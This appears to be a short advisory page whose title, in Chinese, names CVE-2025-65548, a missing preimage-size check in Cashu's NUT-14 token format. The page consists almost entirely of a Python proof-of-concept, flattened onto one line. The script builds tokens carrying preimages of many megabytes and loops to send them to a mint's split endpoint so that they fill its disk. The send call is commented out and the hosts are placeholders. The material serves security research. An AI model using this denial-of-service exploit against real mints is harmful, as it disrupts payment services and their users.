CVE-2025-65548: NUT-14 Cashu Token Preimage大小验证缺失导致拒绝服务

#!/usr/bin/env python3 """ CVE-2025-65548 PoC - Cashu Token Preimage Size Validation Bypass Note: This PoC is for educational and security research purposes only. """ import json import hashlib import base64 def generate_malicious_token(preimage_size_mb=100): """ Generate a Cashu token with oversized preimage """ # Generate arbitrary large preimage data preimage = b'\x00' * (preimage_size_mb * 1024 * 1024) preimage_hash = hashlib.sha256(preimage).hexdigest() # Construct NUT-14 token with oversized preimage token = { "mint": "https://your-mint.example.com", " proofs": [ { "amount": 1, "C": "02" + "00" * 32, # Dummy C value "secret": "preimage:" + preimage_hash, "preimage": base64.b64encode(preimage).decode(), # Oversized preimage "id": "nut14-proof-id" } ] } return token def exploit_mint(mint_url, num_tokens=10, preimage_size_mb=100): """ Exploit the mint by sending tokens with oversized preimages """ print(f"[*] Generating {num_tokens} malicious tokens...") print(f"[*] Preimage size: {preimage_size_mb}MB per token") print(f"[*] Total potential data to fill: {num_tokens * preimage_size_mb}MB") for i in range(num_tokens): token = generate_malicious_token(preimage_size_mb) # In real attack, send token to mint's /split or /melt endpoint print(f"[+] Token {i+1}/{num_tokens} generated and ready to send") # requests.post(f"{mint_url}/api/v1/split", json=token) print("[*] Attack completed - mint should have consumed significant disk space") if __name__ == "__main__": print("CVE-2025-65548 PoC - Cashu NUT-14 Preimage Size Validation Bypass") print("=" * 70) # Example usage exploit_mint("https://vulnerable-mint.example.com", num_tokens=100, preimage_size_mb=10)